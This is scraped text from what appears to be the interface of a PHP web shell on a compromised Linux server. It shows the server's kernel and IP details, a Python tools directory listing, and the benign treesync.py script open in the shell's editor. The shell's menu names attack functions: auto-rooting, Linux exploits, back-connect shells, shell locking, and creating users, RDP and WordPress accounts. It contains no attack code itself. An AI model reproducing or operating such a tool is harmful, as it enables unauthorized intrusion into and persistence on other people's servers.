Linux server.ldran.com 4.18.0-513.18.1.el8_9.x86_64 #1 SMP Thu Feb 22 03:02:37 EST 2024 x86_64
Apache
: 178.128.81.129 | : 162.158.107.17
254 Domain
8.1.29
materijurusanac
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
lib64 /
python2.7 /
Tools /
scripts /
[ HOME SHELL ]
Name
Size
Permission
Action
analyze_dxp.py
4.11
KB
-rwxr-xr-x
analyze_dxp.pyc
4.64
KB
-rw-r--r--
analyze_dxp.pyo
4.64
KB
-rw-r--r--
byext.py
3.85
KB
-rwxr-xr-x
byext.pyc
4.42
KB
-rw-r--r--
byext.pyo
4.42
KB
-rw-r--r--
byteyears.py
1.6
KB
-rwxr-xr-x
byteyears.pyc
1.37
KB
-rw-r--r--
byteyears.pyo
1.37
KB
-rw-r--r--
checkappend.py
4.55
KB
-rwxr-xr-x
checkappend.pyc
4.77
KB
-rw-r--r--
checkappend.pyo
4.77
KB
-rw-r--r--
checkpip.py
757
B
-rwxr-xr-x
checkpip.pyc
1.02
KB
-rw-r--r--
checkpip.pyo
1.02
KB
-rw-r--r--
checkpyc.py
1.96
KB
-rwxr-xr-x
checkpyc.pyc
1.93
KB
-rw-r--r--
checkpyc.pyo
1.93
KB
-rw-r--r--
classfix.py
5.81
KB
-rwxr-xr-x
classfix.pyc
4.09
KB
-rw-r--r--
classfix.pyo
4.09
KB
-rw-r--r--
cleanfuture.py
8.38
KB
-rwxr-xr-x
cleanfuture.pyc
7.22
KB
-rw-r--r--
cleanfuture.pyo
7.19
KB
-rw-r--r--
combinerefs.py
4.28
KB
-rwxr-xr-x
combinerefs.pyc
4.16
KB
-rw-r--r--
combinerefs.pyo
4.12
KB
-rw-r--r--
copytime.py
663
B
-rwxr-xr-x
copytime.pyc
937
B
-rw-r--r--
copytime.pyo
937
B
-rw-r--r--
crlf.py
610
B
-rwxr-xr-x
crlf.pyc
855
B
-rw-r--r--
crlf.pyo
855
B
-rw-r--r--
cvsfiles.py
1.74
KB
-rwxr-xr-x
cvsfiles.pyc
2.11
KB
-rw-r--r--
cvsfiles.pyo
2.11
KB
-rw-r--r--
db2pickle.py
3.49
KB
-rwxr-xr-x
db2pickle.pyc
3.42
KB
-rw-r--r--
db2pickle.pyo
3.42
KB
-rw-r--r--
diff.py
2.02
KB
-rwxr-xr-x
diff.pyc
2.33
KB
-rw-r--r--
diff.pyo
2.33
KB
-rw-r--r--
dutree.py
1.58
KB
-rwxr-xr-x
dutree.pyc
2.18
KB
-rw-r--r--
dutree.pyo
2.18
KB
-rw-r--r--
eptags.py
1.45
KB
-rwxr-xr-x
eptags.pyc
1.83
KB
-rw-r--r--
eptags.pyo
1.83
KB
-rw-r--r--
find_recursionlimit.py
3.39
KB
-rwxr-xr-x
find_recursionlimit.pyc
5.54
KB
-rw-r--r--
find_recursionlimit.pyo
5.54
KB
-rw-r--r--
finddiv.py
2.46
KB
-rwxr-xr-x
finddiv.pyc
3.22
KB
-rw-r--r--
finddiv.pyo
3.22
KB
-rw-r--r--
findlinksto.py
1.04
KB
-rwxr-xr-x
findlinksto.pyc
1.39
KB
-rw-r--r--
findlinksto.pyo
1.39
KB
-rw-r--r--
findnocoding.py
2.74
KB
-rwxr-xr-x
findnocoding.pyc
3.13
KB
-rw-r--r--
findnocoding.pyo
3.13
KB
-rw-r--r--
fixcid.py
9.76
KB
-rwxr-xr-x
fixcid.pyc
7.67
KB
-rw-r--r--
fixcid.pyo
7.67
KB
-rw-r--r--
fixdiv.py
13.52
KB
-rwxr-xr-x
fixdiv.pyc
13.52
KB
-rw-r--r--
fixdiv.pyo
13.44
KB
-rw-r--r--
fixheader.py
1.16
KB
-rwxr-xr-x
fixheader.pyc
1.44
KB
-rw-r--r--
fixheader.pyo
1.44
KB
-rw-r--r--
fixnotice.py
2.98
KB
-rwxr-xr-x
fixnotice.pyc
3.42
KB
-rw-r--r--
fixnotice.pyo
3.42
KB
-rw-r--r--
fixps.py
893
B
-rwxr-xr-x
fixps.pyc
969
B
-rw-r--r--
fixps.pyo
969
B
-rw-r--r--
google.py
519
B
-rwxr-xr-x
google.pyc
792
B
-rw-r--r--
google.pyo
792
B
-rw-r--r--
gprof2html.py
2.12
KB
-rwxr-xr-x
gprof2html.pyc
2.22
KB
-rw-r--r--
gprof2html.pyo
2.22
KB
-rw-r--r--
h2py.py
5.81
KB
-rwxr-xr-x
h2py.pyc
4.29
KB
-rw-r--r--
h2py.pyo
4.29
KB
-rw-r--r--
hotshotmain.py
1.45
KB
-rwxr-xr-x
hotshotmain.pyc
1.82
KB
-rw-r--r--
hotshotmain.pyo
1.82
KB
-rw-r--r--
ifdef.py
3.63
KB
-rwxr-xr-x
ifdef.pyc
2.21
KB
-rw-r--r--
ifdef.pyo
2.21
KB
-rw-r--r--
lfcr.py
618
B
-rwxr-xr-x
lfcr.pyc
880
B
-rw-r--r--
lfcr.pyo
880
B
-rw-r--r--
linktree.py
2.37
KB
-rwxr-xr-x
linktree.pyc
1.98
KB
-rw-r--r--
linktree.pyo
1.98
KB
-rw-r--r--
lll.py
742
B
-rwxr-xr-x
lll.pyc
942
B
-rw-r--r--
lll.pyo
942
B
-rw-r--r--
logmerge.py
5.44
KB
-rwxr-xr-x
logmerge.pyc
4.96
KB
-rw-r--r--
logmerge.pyo
4.96
KB
-rw-r--r--
mailerdaemon.py
7.76
KB
-rwxr-xr-x
mailerdaemon.pyc
7.19
KB
-rw-r--r--
mailerdaemon.pyo
7.19
KB
-rw-r--r--
md5sum.py
2.33
KB
-rwxr-xr-x
md5sum.pyc
2.85
KB
-rw-r--r--
md5sum.pyo
2.85
KB
-rw-r--r--
methfix.py
5.33
KB
-rwxr-xr-x
methfix.pyc
4.03
KB
-rw-r--r--
methfix.pyo
4.03
KB
-rw-r--r--
mkreal.py
1.59
KB
-rwxr-xr-x
mkreal.pyc
1.93
KB
-rw-r--r--
mkreal.pyo
1.93
KB
-rw-r--r--
ndiff.py
3.72
KB
-rwxr-xr-x
ndiff.pyc
3.77
KB
-rw-r--r--
ndiff.pyo
3.77
KB
-rw-r--r--
nm2def.py
2.39
KB
-rwxr-xr-x
nm2def.pyc
2.89
KB
-rw-r--r--
nm2def.pyo
2.89
KB
-rw-r--r--
objgraph.py
5.88
KB
-rwxr-xr-x
objgraph.pyc
4.82
KB
-rw-r--r--
objgraph.pyo
4.82
KB
-rw-r--r--
parseentities.py
1.68
KB
-rwxr-xr-x
parseentities.pyc
2.03
KB
-rw-r--r--
parseentities.pyo
2.03
KB
-rw-r--r--
patchcheck.py
7.5
KB
-rwxr-xr-x
patchcheck.pyc
8.91
KB
-rw-r--r--
patchcheck.pyo
8.91
KB
-rw-r--r--
pathfix.py
4.23
KB
-rwxr-xr-x
pathfix.pyc
3.75
KB
-rw-r--r--
pathfix.pyo
3.75
KB
-rw-r--r--
pdeps.py
3.84
KB
-rwxr-xr-x
pdeps.pyc
3.14
KB
-rw-r--r--
pdeps.pyo
3.14
KB
-rw-r--r--
pickle2db.py
3.85
KB
-rwxr-xr-x
pickle2db.pyc
3.73
KB
-rw-r--r--
pickle2db.pyo
3.73
KB
-rw-r--r--
pindent.py
16.77
KB
-rwxr-xr-x
pindent.pyc
11.29
KB
-rw-r--r--
pindent.pyo
11.29
KB
-rw-r--r--
ptags.py
1.2
KB
-rwxr-xr-x
ptags.pyc
1.37
KB
-rw-r--r--
ptags.pyo
1.37
KB
-rw-r--r--
pysource.py
3.76
KB
-rwxr-xr-x
pysource.pyc
3.92
KB
-rw-r--r--
pysource.pyo
3.92
KB
-rw-r--r--
redemo.py
5.66
KB
-rwxr-xr-x
redemo.pyc
5.13
KB
-rw-r--r--
redemo.pyo
5.13
KB
-rw-r--r--
reindent-rst.py
278
B
-rwxr-xr-x
reindent-rst.pyc
481
B
-rw-r--r--
reindent-rst.pyo
481
B
-rw-r--r--
reindent.py
11.15
KB
-rwxr-xr-x
reindent.pyc
9.4
KB
-rw-r--r--
reindent.pyo
9.37
KB
-rw-r--r--
rgrep.py
1.46
KB
-rwxr-xr-x
rgrep.pyc
1.84
KB
-rw-r--r--
rgrep.pyo
1.84
KB
-rw-r--r--
serve.py
1.12
KB
-rwxr-xr-x
serve.pyc
1.56
KB
-rw-r--r--
serve.pyo
1.56
KB
-rw-r--r--
setup.py
421
B
-rw-r--r--
setup.pyc
548
B
-rw-r--r--
setup.pyo
548
B
-rw-r--r--
suff.py
621
B
-rwxr-xr-x
suff.pyc
904
B
-rw-r--r--
suff.pyo
904
B
-rw-r--r--
svneol.py
2.86
KB
-rwxr-xr-x
svneol.pyc
2.84
KB
-rw-r--r--
svneol.pyo
2.76
KB
-rw-r--r--
texcheck.py
9.04
KB
-rw-r--r--
texcheck.pyc
8.18
KB
-rw-r--r--
texcheck.pyo
8.18
KB
-rw-r--r--
texi2html.py
68.19
KB
-rwxr-xr-x
texi2html.pyc
81.37
KB
-rw-r--r--
texi2html.pyo
81.37
KB
-rw-r--r--
treesync.py
5.65
KB
-rwxr-xr-x
treesync.pyc
5.85
KB
-rw-r--r--
treesync.pyo
5.85
KB
-rw-r--r--
untabify.py
1.19
KB
-rwxr-xr-x
untabify.pyc
1.55
KB
-rw-r--r--
untabify.pyo
1.55
KB
-rw-r--r--
which.py
1.59
KB
-rwxr-xr-x
which.pyc
1.59
KB
-rw-r--r--
which.pyo
1.59
KB
-rw-r--r--
win_add2path.py
1.58
KB
-rw-r--r--
win_add2path.pyc
2.02
KB
-rw-r--r--
win_add2path.pyo
2.02
KB
-rw-r--r--
xxci.py
2.73
KB
-rwxr-xr-x
xxci.pyc
3.92
KB
-rw-r--r--
xxci.pyo
3.92
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : treesync.py
#! /usr/bin/python2.7 """Script to synchronize two source trees. Invoke with two arguments: python treesync.py slave master The assumption is that "master" contains CVS administration while slave doesn't. All files in the slave tree that have a CVS/Entries entry in the master tree are synchronized. This means: If the files differ: if the slave file is newer: normalize the slave file if the files still differ: copy the slave to the master else (the master is newer): copy the master to the slave normalizing the slave means replacing CRLF with LF when the master doesn't use CRLF """ import os, sys, stat, getopt # Interactivity options default_answer = "ask" create_files = "yes" create_directories = "no" write_slave = "ask" write_master = "ask" def main(): global always_no, always_yes global create_directories, write_master, write_slave opts, args = getopt.getopt(sys.argv[1:], "nym:s:d:f:a:") for o, a in opts: if o == '-y': default_answer = "yes" if o == '-n': default_answer = "no" if o == '-s': write_slave = a if o == '-m': write_master = a if o == '-d': create_directories = a if o == '-f': create_files = a if o == '-a': create_files = create_directories = write_slave = write_master = a try: [slave, master] = args except ValueError: print "usage: python", sys.argv[0] or "treesync.py", print "[-n] [-y] [-m y|n|a] [-s y|n|a] [-d y|n|a] [-f n|y|a]", print "slavedir masterdir" return process(slave, master) def process(slave, master): cvsdir = os.path.join(master, "CVS") if not os.path.isdir(cvsdir): print "skipping master subdirectory", master print "-- not under CVS" return print "-"*40 print "slave ", slave print "master", master if not os.path.isdir(slave): if not okay("create slave directory %s?" % slave, answer=create_directories): print "skipping master subdirectory", master print "-- no corresponding slave", slave return print "creating slave directory", slave try: os.mkdir(slave) except os.error, msg: print "can't make slave directory", slave, ":", msg return else: print "made slave directory", slave cvsdir = None subdirs = [] names = os.listdir(master) for name in names: mastername = os.path.join(master, name) slavename = os.path.join(slave, name) if name == "CVS": cvsdir = mastername else: if os.path.isdir(mastername) and not os.path.islink(mastername): subdirs.append((slavename, mastername)) if cvsdir: entries = os.path.join(cvsdir, "Entries") for e in open(entries).readlines(): words = e.split('/') if words[0] == '' and words[1:]: name = words[1] s = os.path.join(slave, name) m = os.path.join(master, name) compare(s, m) for (s, m) in subdirs: process(s, m) def compare(slave, master): try: sf = open(slave, 'r') except IOError: sf = None try: mf = open(master, 'rb') except IOError: mf = None if not sf: if not mf: print "Neither master nor slave exists", master return print "Creating missing slave", slave copy(master, slave, answer=create_files) return if not mf: print "Not updating missing master", master return if sf and mf: if identical(sf, mf): return sft = mtime(sf) mft = mtime(mf) if mft > sft: # Master is newer -- copy master to slave sf.close() mf.close() print "Master ", master print "is newer than slave", slave copy(master, slave, answer=write_slave) return # Slave is newer -- copy slave to master print "Slave is", sft-mft, "seconds newer than master" # But first check what to do about CRLF mf.seek(0) fun = funnychars(mf) mf.close() sf.close() if fun: print "***UPDATING MASTER (BINARY COPY)***" copy(slave, master, "rb", answer=write_master) else: print "***UPDATING MASTER***" copy(slave, master, "r", answer=write_master) BUFSIZE = 16*1024 def identical(sf, mf): while 1: sd = sf.read(BUFSIZE) md = mf.read(BUFSIZE) if sd != md: return 0 if not sd: break return 1 def mtime(f): st = os.fstat(f.fileno()) return st[stat.ST_MTIME] def funnychars(f): while 1: buf = f.read(BUFSIZE) if not buf: break if '\r' in buf or '\0' in buf: return 1 return 0 def copy(src, dst, rmode="rb", wmode="wb", answer='ask'): print "copying", src print " to", dst if not okay("okay to copy? ", answer): return f = open(src, rmode) g = open(dst, wmode) while 1: buf = f.read(BUFSIZE) if not buf: break g.write(buf) f.close() g.close() def okay(prompt, answer='ask'): answer = answer.strip().lower() if not answer or answer[0] not in 'ny': answer = raw_input(prompt) answer = answer.strip().lower() if not answer: answer = default_answer if answer[:1] == 'y': return 1 if answer[:1] == 'n': return 0 print "Yes or No please -- try again:" return okay(prompt) if __name__ == '__main__': main()
Close